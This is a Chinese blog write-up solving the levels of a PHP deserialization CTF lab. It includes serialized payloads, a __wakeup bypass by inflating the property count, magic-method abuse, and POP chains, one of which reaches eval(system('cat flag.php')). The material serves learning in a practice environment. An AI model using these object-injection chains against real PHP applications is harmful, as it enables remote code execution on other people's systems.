最近公众号的流量突然暴增,属实给我吓了一跳。还是要感谢大家的点赞推荐关注,你们的支持就是我更新下去的动力_(•̀ω•́ 」∠)_
前排提示:从第10关开始flag都是HelloCTF{Default_Flag},这是靶场设计者忘记修改所致,而非笔者复现失败。只要你的payload能打通并拿到flag,解法就是正确的。我们是以学习知识为主,所以无需纠结太多。
ps:如果觉得笔者的文章写得不错的话就点点关注吧,不胜感激。为了保证文章的质量,在写稿的时候要反复揣摩文字,所以我们的更新频率是一周一次,保质也保量∠( ᐛ 」∠)_

题目注释说了,urlserialize()会优先检查并调用__wakeup()方法。而题目里FLAG类的__wakeup()是直接输出flag的,所以我们定义的类可以是空的,然后序列化:
<?phpclassFLAG{}$o = serialize(new FLAG());echo"o=".$o;?>输出如下:
o=O:4:"FLAG":0:{}依旧POST传参:

执行后可以看到flag:
HelloCTF{Default_Flag}
题目的代码逻辑很简单,一开始包含了flag.php,并且里面有一个变量叫$flag。
类一开始会执行__wakeup()函数,给$flag赋值成NULL,而这个$flag也不是类里的成员变量,是前面包含的flag.php里面的$flag。
然后会执行__destruce()函数,如果$flag不为NULL,会打印原来的flag,否则打印失败。
而题目注释提示了我们这是一个cve漏洞,并且只在php5和php7生效,在此基础之上还要满足php5 < 5.6.25,php7 < 7.0.10。
当对象现在的属性值比原来的大的时候,这个漏洞就会生效,会跳过__wakeup(),直接执行__destruct()。
另外,在代码的最后打印了了一个phpinfo(),里面有当前php的版本号。如果没有满足上述条件,换一个满足条件的php版本。
那么我们可以先搓一个php代码:
<?phpclassFLAG{public $flag = "FAKEFLAG";}$o = serialize(new FLAG());echo"o=".$o;?>输出序列化的值:
o=O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}关键的一步来了,我们需要把1改成2,使得对象现在的属性值比原来的大:
o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}最后POST传参:

执行后得到flag:
HelloCTF{Default_Flag}

根据题目注释,我们可以控制chance的输出,而完整的flag由helIoctfflag这几个变量组成。
这里面大部分都是公共变量和受保护变量,而私有变量只有f和l。
我们可以一个一个变量输入,然后看一下序列化最后一个字符串即可。
举个例子,我们的payload是:
?chance=hGET传参得到:

那么flag的第一部分就是:
HelloCTF{一样地,我们可以输入:
?chance=eGET传参得到:

那么flag的第二部分就是:
Th3_当传入的参数是私有变量时,需要变成:
?chance=%00FLAG%00lGET传参得到:

那么flag的第三部分就是:
up_真的如此吗?事实上由于f和l分别都有一个公有变量和一个私有变量,我们并不能确定哪个是我们需要的,所以只能在传参后通过语义去判断。
如果我们传入:
?chance=lGET传参得到:

得到的结果是:
__sleep_function_显然这个语义是要比up正确的,所以第三部分应该是__sleep_function_才对。
以此类推,我们一个一个变量传进去,拼接起来得到最终flag:
HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}注:因为输出的array数组前两个元素是随机的,可能会和你输入的参数相同,所以序列化可能会把你输出的字符串放到前面。这种情况不必担心,多传几次就可以在末尾看到正确的字符串。

题目注释说了,__toString()方法用于一个类被当字符串的时候会如何回应。
而我们传入的参数o会被eval()当作php代码执行,所以我们的payload如下:
o=echo $obj;POST传参:
运行后得到结果:
I'm a string ~~~HelloCTF{Default_Flag}
题目注释说了,__invoke()方法用于一个类被当函数的时候会如何回应。
由于函数的参数得等于get_flag,所以我们的payload如下:
o=$obj("get_flag");依旧POST传参:

执行后得到flag:
HelloCTF{Default_Flag}

从本关开始逐渐上强度了。很典型的一个pop链题目。
对于这种题,我们第一步是要看清楚它是序列化还是反序列化:如果是前者,我们重点关注有__sleep()的类;如果是后者,我们重点关注有__wakeUp()的类。
具体原理就是它们会优先调用上述相应的函数,本题是后者,我们先看看有__wakeUp()的类。
显然D有一个_wakeUp,那么它就是本题的入口。
可以看到,它的d对象还会调用action方法,而action就复杂了,我们可以拆解一下:
$this->cmd : 获取当前对象的cmd属性$this->cmd->a : 获取cmd对象的a属性 $this->cmd->a->b: 获取a对象的b属性$this->cmd->a->b->c: 获取b对象的c属性这是链式访问的一种写法:cmd属性的a属性,再访问a的b属性,再访问b的c属性。
不难看出,pop链的本质就是上级对象将下级对象当属性调用。例如,a对象调用了b属性,而b属性本身也是一个对象,它又会调用c属性,如此反复,直到终点。
如果写成对象的格式(需要结合下面的代码看):
$dest->cmd = $a (A对象)$dest->cmd->a = $b (B对象) $dest->cmd->a->b = $c (C对象)$dest->cmd->a->b->c = "cat flag.php"既然调用属性是由上到下,那么创建对象就是从下到上了:
<?phpclassA{public $a;publicfunction__construct($a){$this->a = $a; }}classB{public $b;publicfunction__construct($b){$this->b = $b; }}classC{public $c;publicfunction__construct($c){$this->c = $c; }}classD{public $d;publicfunction__construct($d){$this->d = $d; }publicfunction__wakeUp(){$this->d->action(); }}classdestnation{var $cmd;publicfunction__construct($cmd){$this->cmd = $cmd; }publicfunctionaction(){eval($this->cmd->a->b->c); }}$c = new C("system('cat flag.php');"); // 调用终点,用于执行恶意代码$b = new B($c); // 将对象c当作对象b的属性$a = new A($b); // 将对象b当作对象a的属性$dest = new destnation($a); // 将对象a当作对象dest的属性$d = new D($dest); // 将对象dest当作对象d的属性,被反序列化时会触发__wakeup(),从而调用dest里面的action()方法$o = serialize($d); // 序列化echo"o=".$o; ?>得到:
o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:23:"system('cat flag.php');";}}}}}最后POST传参:
ctrl+u得到:
<?php$file_path = "/flag";if (file_exists($file_path)) { $flag = file_get_contents($file_path);}else{ $flag = "HelloCTF{Default_Flag}";}?>显然不存在/flag这个路径,那么我们的flag即是:
HelloCTF{Default_Flag}
这题看着挺唬人的,事实上只要对上题足够了解,想解出这题也并不是难事。
可以看到A,B,INIT这三个类分别都有魔术方法__invoke(),__toString(),__wakeUp(),三个方法我们在之前的关卡都有提到过作用,这里不再赘述。
这三个类的作用分别是:
A:__invoke()会包含$a,然后返回$a里的$flag。
B:__toString()会将$b赋值给$f,然后将$f当函数输出。
INIT:__wakeUp()会将name打印出来。
看到这里,你可能已经恍然大悟了,我们只需要用__wakeUp()可以激活__toString(),再用__toString()激活__invoke() ,不就可以成功达到我们的目的了?
这里直接给出代码:
<?phpclassA{public $a;publicfunction__construct($a){$this->a = $a; }publicfunction__invoke(){include$this->a;return $flag; }}classB{public $b;publicfunction__construct($b){$this->b = $b; }publicfunction__toString(){ $f = $this->b;return $f(); }}classINIT{public $name;publicfunction__construct($name){$this->name = $name; }publicfunction__wakeUp(){echo$this->name.' is awake!'; }}$obj_a = new A("flag.php");$obj_b = new B($obj_a);$obj_init = new INIT($obj_b);$o = serialize($obj_init);echo"o=".$o;?>解释一下大致流程:
$obj_init:在反序列化后,__wakeUp()会echo $this->name,而这里的$this->name就是$obj_b$obj_b:在$obj_b被echo后,会触发__toString(),__toString()会将$this->b,也就是$obj_a当成函数返回$obj_a:在$obj_a被当成函数返回后,会触发__invoke(),从而包含$this->a,也就是flag.php,并且返回其中的$flag。当然,这里还需要用构造函数达到传入参数的目的,所以每个类都加了一个__construct()。
输出结果为:
o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}最后POST传参:
得到:
HelloCTF{Default_Flag} is awake!
题目注释提示了,我们正常定义一个类A,在里面新建一个新的属性$helloctfcmd就行:
<?phpclassA{public $helloctfcmd = "get_flag";}$o = serialize(new A());echo"o=".$o;?>这题其实和level 6的原理有点像,在反序列化的时候如果原类没有相应的属性,那么解释器并不会产生报错,而是会把当前类的属性复制过来给反序列化创建的对象,对应到本题就是原类没有$helloctfcmd,但是在已经序列化的字符串里有,那么在反序化的时候就会得到一个拥有对应变量的对象。而level 6就是反过来的情况。
代码将会输出:
o=O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}最后POST传参:

执行后输出:
ClassAisNULL: 'O:1:"A":0:{}'Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'After replace B with A,we unserialize it and dump :object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" } HelloCTF{Default_Flag}那么flag就在最后了:
HelloCTF{Default_Flag}
可以看到,题目要求我们反序列化后的$FLAG能够被类FLAG实例化,并且属性key为GET_FLAG。
本题我们并不能自己定义类,只能通过str_replace()去把已经序列化的Demo一些关键词给替换掉,从而达到反序列化后是我们想要的结果。
当然,想把Demo换成FLAG是非常简单的事情,那么现在就聚焦在如何把key从GET_FLAG";}FAKE_FLAG换成GET_FLAG。
题目注释说了:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。
也就是说我们把20换成8,就会自动截断后面的;}FAKE_FLAG了。payload如下:
?target[0]=Demo&target[1]=20&change[0]=FLAG&change[1]=8这里是把target和change当成数组传入了,当str_replace()执行的时候,会自动用FLAG替换Demo,20替换8。
这里用的是GET传参:

执行后滑到最下面会输出:
SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'Change SOMETHING TO GET FLAGHelloCTF{Default_Flag}得到flag:
HelloCTF{Default_Flag}结语:我们的反序列化就暂时学到这里了,恭喜你看完了本靶场的复现
WriteUp,是不是感觉又学到了很多东西呢?如果能自己手动实践一下的话,那就更好啦!之后我也会出其他靶场的WriteUp的,请多多期待!